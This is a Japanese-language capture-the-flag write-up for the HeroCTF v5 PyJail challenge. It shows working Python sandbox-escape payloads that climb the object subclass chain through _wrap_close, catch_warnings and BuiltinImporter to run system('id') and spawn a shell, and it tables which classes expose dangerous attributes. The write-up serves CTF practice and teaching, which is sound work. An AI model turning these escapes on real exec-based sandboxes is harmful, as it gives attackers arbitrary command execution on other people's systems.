HeroCTF v5 - PyJail
Challenge
基本的な pyjail、多くの builtins が削除されている。
code = input()exec(code, {'__builtins__': {}})Solution
基本的な subclass チェーン
# 空の tuple からスタート().__class__.__bases__[0].__subclasses__()os._wrap_close を探す
# _wrap_close のインデックスを探索for i, c in enumerate(().__class__.__bases__[0].__subclasses__()): if '_wrap_close' in str(c): print(i, c)
# インデックスを使用してアクセス().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')ワンライナー
[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')Technical Details
subclass チェーンの仕組み
() - タプルオブジェクト↓ __class__tuple - タプルクラス↓ __bases__[0]object - 全クラスの基底↓ __subclasses__()[type, async_generator, ...] - 全サブクラス危険なサブクラス
| クラス | 危険な属性 |
|---|---|
_wrap_close | __init__.__globals__['system'] |
catch_warnings | _module.__builtins__ |
BuiltinImporter | load_module() |
Alternative Solutions
別解1: warnings.catch_warnings
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')別解2: BuiltinImporter
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')Flag
Hero{...}
References
- HeroCTF v5 Official